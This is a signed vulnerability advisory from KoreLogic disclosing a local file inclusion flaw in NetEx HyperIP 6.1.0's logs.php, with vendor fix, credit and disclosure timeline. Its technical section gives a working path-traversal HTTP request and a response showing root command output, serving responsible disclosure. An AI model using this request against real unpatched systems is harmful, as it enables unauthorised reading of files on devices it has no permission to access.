-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability Title: NetEx HyperIP Local File Inclusion Vulnerability Advisory ID: KL-001-2018-005 Publication Date: 2018.02.08 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt 1. Vulnerability Details Affected Vendor: NetEx Affected Product: HyperIP Affected Version: 6.1.0 Platform: Embedded Linux CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues Impact: Arbitrary Filesystem Reads Attack vector: HTTPS 2. Vulnerability Description Local files can be included within the HTTP response given by logs.php 3. Technical Description Any arbitrary file, such as the one created in KL-001-2018-004, can be returned by the logs.php script. GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1 Host: 1.3.3.7 Accept-Language: en-US,en;q=0.5 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Mon, 27 Mar 2017 13:07:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 502 Connection: close Content-Type: text/html; charset=UTF-8
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
-----BEGIN PGP SIGNATURE-----
iQFOBAEBCAA4FiEE+cSrtp5jQJEtra70TWWaLA4ZiQwFAlp88rYaHGRpc2Nsb3N1
cmVzQGtvcmVsb2dpYy5jb20ACgkQTWWaLA4ZiQy0bQgAnJD0j0hw7vRnra8+wjFZ
0SjlinMKefdH0ujAc0I2UqDtor9yLKnyfe0w8EtEykMKPFuWHQwK4uho8UM67v9l
Qg74a85rYVq9df3ykANHdWpVqh+3fRnWSTStv7UVBOQrJoxgU4/iSvrMb7K3YVJ8
vpgK/Xb/SMryOge7tc98YF/CO0Pv+fYPGPhYvM5ZrijrgPF9Jfss3iSqmpQSL8YM
iiyE9/jcJH25KdTzOB6rxRnlrRIvYhlqs+7bvJAV8rcOJI79X5iZRx9RJ8GPLN2W
CrBXPGURuTX30btwS+vZsTh9U1SSSHqw2GC+Oegd4GJthxDsmaotxWTe1WWhS47o
hw==
=J2L8
-----END PGP SIGNATURE-----